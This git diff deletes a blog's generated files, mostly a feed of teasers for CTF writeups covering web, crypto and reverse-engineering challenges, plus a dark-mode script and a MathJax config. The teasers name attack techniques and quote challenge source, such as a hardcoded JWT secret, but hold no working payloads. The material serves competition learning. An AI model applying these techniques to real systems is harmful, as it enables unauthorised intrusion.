sig * user_point + secret_point return sig. - - - - CookieFarm v1.0.1 🍪 - http://localhost:1313/news/cookiefarmv1.0.1/ - Fri, 16 May 2025 00:00:00 +0200 - - http://localhost:1313/news/cookiefarmv1.0.1/ - 🎉 CookieFarm v1.0.1 is available 🍪🐮 – Initial Stable Release! We are excited to announce the release of version v1.0.1 of CookieFarm, our Attack/Defense CTF framework designed to make life easier for teams during A/D. -🧠 What is CookieFarm? CookieFarm is a hybrid Go + Python A/D CTF framework inspired by DestructiveFarm, but with a significantly leaner approach in terms of RAM and CPU consumption. Our philosophy is &ldquo;zero distractions&rdquo;: You just write the exploit logic; we take care of the rest. - - - - StackBank 1 - http://localhost:1313/writeups/ulisse2025/stackbank1/ - Tue, 08 Apr 2025 18:05:15 +0200 - - http://localhost:1313/writeups/ulisse2025/stackbank1/ - ⚠️ WORKING IN PROGRESS -StackBank 1 Description: This bank🏦 will let you legally launder your dirty money, so you can live the high life in Dubai 🤑. -Give it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸. -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py Author: akiidjk - - - - Telemetry - http://localhost:1313/writeups/ulisse2025/telemetry/ - Tue, 08 Apr 2025 18:05:04 +0200 - - http://localhost:1313/writeups/ulisse2025/telemetry/ - Telemetry Description: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won&rsquo;t find the hidden flag&hellip; Will you prove him wrong? 🏠🔍 -Introduction Fourth round of the Cybercup 2025 ulisseCTF I want to show the writeup of the first web, a really interesting challenge. -Source The application is a simple Flask app with 0 css (we almost like it). - - - - Ulisse CTF 2025 - http://localhost:1313/writeups/ulisse2025/ - Tue, 08 Apr 2025 17:54:49 +0200 - - http://localhost:1313/writeups/ulisse2025/ - Ulisse CTF 2025 Description Ulisse CTF is the first edition of the annual competition hosted by the Ulisse CTF Team at the University of Bologna. Open to participants of all skill levels, it aims to provide a learning experience for everyone! -Url Discord Performance Summary CTFs: 12/29 Total points: 1923.000 Position: 11/169 Rating points: 8.533 Writeups Web Telemetry StackBank 1 - - - - Key in the haystack - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - Mon, 24 Mar 2025 16:25:00 +0100 - - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - Confusion I&rsquo;ve encrypted my secret message with RSA. -Easy stuff, right? -Well, I&rsquo;m not giving you the key outright&hellip; -I&rsquo;ve hidden it in a haystack! -Sure, a key is not a needle, and this haystack is not that big. -It shouldn&rsquo;t take more than 10&rsquo; to find it, if you have an half-decent metal detector. -Good luck! -Introduction Confusion was a crypto CTF from K!nd4SUS CTF 2025. -from Crypto.Util import number from base64 import b64encode prime = lambda: number. - - - - K!nd4SUS CTF 2025 - http://localhost:1313/writeups/k1ndasus2025/ - Mon, 24 Mar 2025 12:58:37 +0200 - - http://localhost:1313/writeups/k1ndasus2025/ - K!nd4SUS CTF 2025 Description K!nd4SUS CTF is a Jeopardy-style Capture-The-Flag competition created with love by the K!nd4SUS Team, from the University of Milan. The challenges topics include binary exploitation, web security, reverse engineering, web3, forensics, OSINT, cryptography, and creative miscellaneous challenges! -Url Performance Summary CTFs: 10/? Total points: 2462 Position: 16/207 Rating points: 6.059 Writeups Crypto Key in the haystack - - - - Confusion - http://localhost:1313/writeups/srdnlen2025/confusion/ - Wed, 12 Mar 2025 22:04:00 +0100 - - http://localhost:1313/writeups/srdnlen2025/confusion/ - Confusion Looks like our cryptographers had one too many glasses of mirto! Can you sober up their sloppy AES scheme, or will the confusion keep you spinning? -Introduction Confusion was a crypto CTF from Srdnlen CTF 2025. -#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import os # Local imports FLAG = os.getenv(&quot;FLAG&quot;, &quot;srdnlen{REDACTED}&quot;).encode() # Server encryption function def encrypt(msg, key): pad_msg = pad(msg, 16) blocks = [os. - - - - Online Python Editor - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - Tue, 11 Mar 2025 18:12:32 +0100 - - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - Online Python Editor Description: If you&rsquo;re tired of fast and good-looking editors, try this. Now with extra crispiness! -Introduction This is the first web in the TRX2025 CTF. And it&rsquo;s basically a simple online Python editor with a syntax checker. -Source Go to the source code and we can immediately see two things: -In a file called secret.py, which is never called, read or otherwise used. -The main app.py file - - - - Speed - http://localhost:1313/writeups/srdnlen2025/speed/ - Tue, 11 Mar 2025 17:20:39 +0100 - - http://localhost:1313/writeups/srdnlen2025/speed/ - Speed Description: Welcome to Radiator Springs&rsquo; finest store, where every car enthusiast&rsquo;s dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow! -Introduction For the second web challenge of srdnlen2025 we have a very interesting but not particularly complicated challenge. -The challenge is presented as a simple shop, so the goal is to buy the flag, which has a very high price. - - - - Ben 10 - http://localhost:1313/writeups/srdnlen2025/ben10/ - Tue, 11 Mar 2025 16:52:02 +0100 - - http://localhost:1313/writeups/srdnlen2025/ben10/ - Ben 10 Description: Ben Tennyson&rsquo;s Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It&rsquo;s hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden. -Can you outsmart the system and reveal the flag? -Introduction This is one of the webs of the 2025 italian championship cybercup first round, the ctf was made in january 2025, and I&rsquo;m writing the writeups only so some information could be wrong or not complete. - - - - TRX CTF 2025 - http://localhost:1313/writeups/trx2025/ - Mon, 10 Mar 2025 18:57:11 +0100 - - http://localhost:1313/writeups/trx2025/ - TRX CTF 2025 Description TheRomanXpl0it is pleased to announce TRX CTF 2025! -TRX CTF will be a jeopardy style CTF and last a whole day (24-hours), from the 22nd of February 14:00 UTC, to the 23rd of February 2025 14:00 UTC. -The team has made a humongous effort developing interesting challenges in every classic CTF category such as Web, Pwn, Rev and Crypto! -We hope you&rsquo;ll have fun playing the competition! - - - - Srdnlen CTF 2025 - http://localhost:1313/writeups/srdnlen2025/ - Mon, 10 Mar 2025 18:56:14 +0100 - - http://localhost:1313/writeups/srdnlen2025/ - Srdnlen CTF 2025 Description Srdnlen CTF is a Jeopardy-style Capture-The-Flag competition hosted by the members of Srdnlen, an italian team based in Sardinia. -This CTF welcomes both beginners and advanced players. The challenges topics include reverse engineering, binary exploitation, web security, cryptography, forensics. -For the best 10 teams, in-person finals will be organized in Sardinia (date to be decided) -Url Discord Performance Summary CTFs: n/M Total points: 270.0 Position: 98/848 Rating points: 2. - - - - Locked Door - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Mon, 23 Dec 2024 16:55:16 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Locked Door Description: In front of you stands a door with a digital terminal. Will you be able to open it? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - DroidCryptor - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - Mon, 23 Dec 2024 16:51:39 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - DroidCryptor Description: One of my friends told me about this application that promised to keep your data safe. When I tried to encrypt the data I found out later that there is no way to decrypt it! Can you retrieve my message? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - GoSecureIt - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - Mon, 23 Dec 2024 16:49:40 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - GoSecureIt Description: I&rsquo;ve found this website under construction, at the moment you can only register, but I think there&rsquo;s something strange in the cookie -Introduction We are faced with an application written in go, not very complex with several files, but already looking at the folder tree we see the secret folder with secret.go inside and this code -Source // filename: secret.go package secret var JwtSecretKey = []byte(&quot;schrody_is_always_watching&quot;) // I don't know why it's called secret, I'll just leave it here :) Obviously this is the cookie secret, but interacting with the web application there is not much to do, so it is worth checking other files, especially in Golang, when using the Gin framework it is often used to define routes in the main. - - - - ImgPlace - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - Mon, 23 Dec 2024 16:48:55 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - ImgPlace Description: Are you a photographer but have no reputation? Join ImgPlace! Share your photos&hellip; and become popular! -Introduction We have a very simple application where we are allowed to register and log in and then we can upload images via url and associated description -Source The source is only parsable by devtools from the browser, and we can see that in the pic.js file we have a function that sanitizes the image description - - - - m0leCon 2025 Beginner CTF - http://localhost:1313/writeups/m0lecon2025beginner/ - Sun, 22 Dec 2024 22:11:36 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/ - m0leCon 2025 Beginner CTF Description Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025. -Challenges are targeted to newcomers and students. -Team size limit is 4 people per team. -The m0leCon Beginner CTF will not award rating points on CTFTime. -Url Discord Performance Summary CTFs: 18/20 Total points: 2700 Position: 2/385 Rating points: 0.0 Writeups Crypto Small Auth Web Go Secure It ImgPlace - - - - SmallAuth - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - Sat, 21 Dec 2024 18:23:00 +0200 - - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - SmallAuth Description: I am trying to authenticate but I totally forgot the password, I am screwed!! -Introduction SmallAuth was a crypto CTF from ## m0leCon 2025 Beginner CTF organized by pwnthem0le. -from secret import flag, password import signal from Crypto.Util.number import ( bytes_to_long, long_to_bytes, getRandomRange, ) from hashlib import sha256 import os p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327 assert len(password) &gt; 64 def timeout_handler(_1, _2): raise TimeoutError class AuthProtocol: def __init__(self, password: bytes): super(). - - - - MovieReviewApp - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - MovieReviewApp Description: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools -Introduction The challenge looks like a very simple site in pure html where we see reviews on movies -Source Is not present the source BUT&hellip; -Solution The first thing that stands out is that in the URL there are extensions, so we understand that probably the system behind it is not very complex, in fact, going to the root endpoint we notice - - - - b64SiteViewer - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - Mon, 07 Oct 2024 22:24:02 +0200 - - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - b64SiteViewer Description: This is one of the challenges added later, but despite that it wasn&rsquo;t very complex, in fact the most complex part wasn&rsquo;t even the web part, but despite that the challenge was still really nice -Introduction We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands - - - - Loan App - http://localhost:1313/writeups/ironctf2024/loan_app/ - Sun, 06 Oct 2024 14:41:13 +0200 - - http://localhost:1313/writeups/ironctf2024/loan_app/ - Loan app Description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution) -Introduction This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do &lsquo;request smuggling&rsquo;, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend. - - - - Rivest, Shamir, Adleman 2 - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - Sun, 06 Oct 2024 13:49:47 +0200 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - Rivest, Shamir, Adleman 2 Description: Little John has done his homework and tried fixing the issue in his script. Can you still find his secret. -Introduction Rivest, Shamir, Adleman 2 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. It is meant as a sequel to Rivest, Shamir, Adleman 1. We&rsquo;re not given a script that generates the parameters, simply the public key and the ciphertext. -(N,e,c)=(161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365) Solution Since N is prime we can just calculate the e-th roots of c to find the plaintext(s) - - - - Rivest, Shamir, Adleman 1 - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - Sun, 06 Oct 2024 13:49:39 +0200 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - Rivest, Shamir, Adleman 1 Description: Little John came across an article on RSA encryption. Intrigued but only partially understanding it, he decided to write a script and started using it to communicate with his aunt. Can you figure out what he&rsquo;s discussing? -Introduction Rivest, Shamir, Adleman 1 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. -from Crypto.Util.number import * m = open(&quot;flag.txt&quot;,'rb').read() m = bytes_to_long(m) p = getPrime(1024) q = getPrime(1024) N = p*q e = getRandomNBitInteger(16) c = pow(m,e,N) p_ = p &gt;&gt; (200) print(f&quot;{(p_,N,e,c)=}&quot;) # (p_,N,e,c)=(78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693) It is a typical rsa challenge where you&rsquo;re given a &ldquo;leak&rdquo;: some part of the private key which allows you to retrieve it fully. - - - - IRON CTF 2024 - http://localhost:1313/writeups/ironctf2024/ - Sun, 06 Oct 2024 13:48:21 +0200 - - http://localhost:1313/writeups/ironctf2024/ - IRON CTF 2024 Description Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)! -Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you&rsquo;re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition. -Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more. - - - - PatriotCTF 2024 - http://localhost:1313/writeups/patriotctf2024/ - Fri, 27 Sep 2024 17:24:46 +0200 - - http://localhost:1313/writeups/patriotctf2024/ - Patrioc CTF 2024 Description PatriotCTF is an online jeopardy-style CTF hosted by George Mason University&rsquo;s Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone. -Url Discord Performance Summary CTFs: 32/65 Total points: 5308 Position: 63/1360 Rating points: 9.735 Writeups No writeups today&hellip; - - - - m0leCon CTF 2025 Teaser - http://localhost:1313/writeups/m0lecon2025teaser/ - Sun, 15 Sep 2024 12:59:51 +0200 - - http://localhost:1313/writeups/m0lecon2025teaser/ - m0leCon CTF 2025 Teaser Description m0leCon CTF 2025 Teaser is an online jeopardy-style CTF organized by pwnthem0le. Top 10 teams will be invited to the final event, that will take place in Spring 2025 at Politecnico di Torino. -Url Discord Performance Summary CTFs: 1/18 Total points: 100 Position: 71/500 Rating points: 2.920 Writeups Crypto Yet Another OT - - - - Yet Another OT - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - Sun, 15 Sep 2024 10:58:00 +0200 - - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - Yet Another OT Description: Why do people always want to decrypt both messages? -Disclaimer I wasn&rsquo;t able to solve this challenge during the competition, but managed to get to the solution after talking on discord to other competitors who very kindly helped me figure it out. -Introduction Yet Another OT was a crypto CTF from m0leCon 2025 hosted by pwnthem0le. -import random from hashlib import sha256 import json import os from Crypto. - - - - Snake - http://localhost:1313/writeups/cyberspace2024/snake/ - Mon, 02 Sep 2024 10:59:36 +0200 - - http://localhost:1313/writeups/cyberspace2024/snake/ - Snake Description: Can you slither to the win? -Link to the binary: Elf file -Introduction We are faced with a binary file written in Rust (you can see it by simply running strings snake | grep rustc) where we are made to play Snake, the goal is to get PRECISELY to 16525 points. -Solution The solutions were actually different, some people used tools to analyze the memory of a process in real time, I preferred a &lsquo;slower&rsquo; approach, or rather the first thing that came to mind, so I opened binary ninja despite the file being stripped and looked for a value for constant exactly 0xa (i. - - - - Feature Unlocked - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Mon, 02 Sep 2024 10:59:31 +0200 - - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Feature unlocked Description: The world&rsquo;s coolest app has a brand new feature! Too bad it&rsquo;s not released until after the CTF.. -Link: https://feature-unlocked-web-challs.csc.tf/ -Introduction Feature unlocked is part of the first wave of the web and is one of the first challanges I solved. Made by cryptocat, who we salute, it is a fairly simple challange if you read the code correctly. -Source # filename: main.py import subprocess import base64 import json import time import requests import os from flask import Flask, request, render_template, make_response, redirect, url_for from Crypto. - - - - ZipZone - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Mon, 02 Sep 2024 10:59:17 +0200 - - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Zipzone Description: I was tired of trying to find a good file server for zip files, so I made my own! It&rsquo;s still a work in progress, but I think it&rsquo;s pretty good so far. -Link: https://zipzone-web.challs.csc.tf/ -Introduction ZipZone is the only one web in the beginner&rsquo;s category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards. - - - - Trendz - http://localhost:1313/writeups/cyberspace2024/trendz/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendz/ - Trendz (part 1 & 2) Preamble This challenge is divided into four parts, three webs and a reverse. I&rsquo;m excited to share that I managed to solve the first two webs! I&rsquo;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I&rsquo;m eager to see how they fit together. The application was written in Go using templates and a JWT authentication, and it&rsquo;s write well! - - - - trendy windy trigonity - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Mon, 02 Sep 2024 10:58:30 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Trendy windy trigonity Description: have you seen Tan challenge before? see maple version pi documentation! -Introduction trendy windy trigonity was a crypto CTF CyberSpace CTF 2024 added during the second wave. -from Crypto.Util.number import bytes_to_long flag = REDACTED print(len(flag)) R = RealField(1000) a, b = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:]) x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100) enc = a*cos(x)+b*sin(x) # 38 # 2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45 The challenge uses sagemath to handle high precision floating point numbers, in this case a RealField with 1000 bits of precision. - - - - CyberSpace CTF 2024 - http://localhost:1313/writeups/cyberspace2024/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/writeups/cyberspace2024/ - CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! -Url Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake - - - - Miku vs. Machine - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Mon, 26 Aug 2024 17:04:29 +0200 - - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Miku vs. Machine Description: Time limit is 2 seconds for this challenge. -Official resources of challenge -Introduction The goal is to distribute the hours of n singers in m shows. Each show has a number of hours equal to l (unknown) and can only change singers once. We also want that each singer will have the same time on stage. -Solution To solve this problem, I use a greedy strategy that iteratively divides the available singing time among the singers, ensuring that each singer fulfills their required hours. - - - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? -Introduction First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does. - - - - Some Trick - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Some Trick Description: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen. -Introduction Some Trick was the first cryptography challenge in the 2024 edition of SekaiCTF. The challenge implements a key exchange based on a set of permutations and asks us to retrieve the flag that was used as a key in Bob&rsquo;s first encryption. -import random from secrets import randbelow, randbits from flag import FLAG CIPHER_SUITE = randbelow(2**256) print(f&quot;oPUN_SASS_SASS_l version 4. - - - - SekaiCTF 2024 - http://localhost:1313/writeups/sekaictf2024/ - Mon, 26 Aug 2024 16:58:34 +0200 - - http://localhost:1313/writeups/sekaictf2024/ - SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. -Url Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming &amp; Coding) Miku vs. - - - - Hello - http://localhost:1313/writeups/idekctf2024/hello/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/writeups/idekctf2024/hello/ - Hello Description: Just to warm you up for the next Fight :&ldquo;D -Introduction Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered} -The with an ngix server -Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies -Source # filename: index.py &lt;? - - - - IdekCTF 2024 - http://localhost:1313/writeups/idekctf2024/ - Sun, 18 Aug 2024 12:58:37 +0200 - - http://localhost:1313/writeups/idekctf2024/ - IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. -Url Discord Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello - - - - Kirbytime - http://localhost:1313/writeups/litctf2024/kirbytime/ - Tue, 13 Aug 2024 13:01:07 +0200 - - http://localhost:1313/writeups/litctf2024/kirbytime/ - Kirbytime Description: Welcome to Kirby&rsquo;s Website. -Introduction We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters. -Source # filename: main.py import sqlite3 from flask import Flask, request, redirect, render_template import time app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def login(): message = None if request.method == 'POST': password = request.form['password'] real = 'REDACTED' if len(password) != 7: return render_template('login. - - - - Lexington Informatics Tournament CTF 2024 - http://localhost:1313/writeups/litctf2024/ - Tue, 13 Aug 2024 12:20:57 +0200 - - http://localhost:1313/writeups/litctf2024/ - Lexington Informatics Tournament CTF Description Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that&rsquo;s open to everyone. -Url Discord Performance Summary CTFs: 18/32 Total points: 2068 Position: 95/830 Rating points: 19.095 Writeups Web Kirbytime - - - - File Sharing Portal - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - File Sharing Portal Description: Welcome to the file sharing portal! We only support tar files! -Introduction The ctf has a very simple structure: we have a form in which we are asked to insert a tar file; once the tar file has been inserted, it is unzipped and we are shown the name of files it contains; by clicking on the different files, we can read their contents. -Source The source has comments added later to allow a better understanding of the code in the writeups - - - - WaaS - http://localhost:1313/writeups/noobzctf2024/waas/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/waas/ - Waas Description: Writing as a Service! -Introduction WaaS (Writing as a Service) allows us to overwrite a file on the system (after some input validation) and insert anything (until a newline is met) we want in it. -import subprocess from base64 import b64decode as d while True: print(&quot;[1] Write to a file\n[2] Get the flag\n[3] Exit&quot;) try: inp = int(input(&quot;Choice: &quot;).strip()) except: print(&quot;Invalid input!&quot;) exit(0) if inp == 1: file = input(&quot;Enter file name: &quot;). - - - - N00bzCTF 2024 - http://localhost:1313/writeups/n00bzctf2024/ - Mon, 05 Aug 2024 18:26:54 +0200 - - http://localhost:1313/writeups/n00bzctf2024/ - N00bz CTF 2024 Description A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz. -Url Discord Performance Summary CTFs: 31/32 Total points: 9794.000 Position: 24/967 Rating points: 24.067 Writeups Web File Sharing Portal Misc Waas - - - - - http://localhost:1313/writeups/l3akctf2025/beneath-the-surface/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/writeups/l3akctf2025/beneath-the-surface/ - Beneath the Surface Description: On the surface, this signal is nothing but meaningless noise — a mere whisper of the wind. But dive deeper into this transmission, and a storm begins to take shape, with gray skies gathering on the horizon. Can you navigate through the static and uncover what lurks beneath the surface of the wav — before it’s too late? -File Your browser does not support the audio element. - - - - Blank Login - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Blank Login Description: Hm, I don&rsquo;t remember, probably something about three databases. -Introduction This is the third web application I&rsquo;ve exploited. It&rsquo;s a very cool challenge, not too complex, and very fun. There&rsquo;s a not-very-easy race condition to spot. In fact, I think that&rsquo;s the most difficult part. So, let&rsquo;s start. -We have a small Flask application with about 200 lines of code, so it&rsquo;s not too bad. The first page is a login page without a register page. - - - - \ No newline at end of file diff --git a/public/js/header.64a5d751579791aca02cca13ec10c056a8bb0de07cc69a70f0ef401bb0f470f2360e07f1f6f4398e0681f9abd2c64b3cb9d167ee471fa2a07bb1943e06e0c02b.js b/public/js/header.64a5d751579791aca02cca13ec10c056a8bb0de07cc69a70f0ef401bb0f470f2360e07f1f6f4398e0681f9abd2c64b3cb9d167ee471fa2a07bb1943e06e0c02b.js deleted file mode 100644 index 660dea79..00000000 --- a/public/js/header.64a5d751579791aca02cca13ec10c056a8bb0de07cc69a70f0ef401bb0f470f2360e07f1f6f4398e0681f9abd2c64b3cb9d167ee471fa2a07bb1943e06e0c02b.js +++ /dev/null @@ -1 +0,0 @@ -(()=>{window.addEventListener("DOMContentLoaded",function(){let t=document.getElementById("dark_mode_btn"),e=document.getElementById("light_mode_btn");t.addEventListener("click",function(){document.documentElement.setAttribute("data-theme","dark"),localStorage.theme="dark"}),e.addEventListener("click",function(){document.documentElement.setAttribute("data-theme","light"),localStorage.theme="light"})});})(); diff --git a/public/js/header.js b/public/js/header.js deleted file mode 100644 index 05dfc411..00000000 --- a/public/js/header.js +++ /dev/null @@ -1,15 +0,0 @@ -(() => { - // - window.addEventListener("DOMContentLoaded", function() { - const dark_mode_btn = document.getElementById("dark_mode_btn"); - const light_mode_btn = document.getElementById("light_mode_btn"); - dark_mode_btn.addEventListener("click", function() { - document.documentElement.setAttribute("data-theme", "dark"); - localStorage.theme = "dark"; - }); - light_mode_btn.addEventListener("click", function() { - document.documentElement.setAttribute("data-theme", "light"); - localStorage.theme = "light"; - }); - }); -})(); diff --git a/public/js/math.js b/public/js/math.js deleted file mode 100644 index b1a45fb1..00000000 --- a/public/js/math.js +++ /dev/null @@ -1,17 +0,0 @@ -(() => { - // - window.MathJax = { - tex: { - inlineMath: [["$", "$"], ["\\(", "\\)"]], - displayMath: [["$$", "$$"], ["\\[", "\\]"]], - processEscapes: true, - processEnvironments: true - }, - options: { - skipHtmlTags: ["script", "noscript", "style", "textarea", "pre"] - }, - chtml: { - displayOverflow: "linebreak" - } - }; -})(); diff --git a/public/js/prism.ea52843de9ef49f2fd5ada5a4e0efb81dd05ae250cb815846dfa3fb988498c70ae2cc567a635da79ffd407054622cea929e1b5fa00977f69c48e373b728cb9cd.js 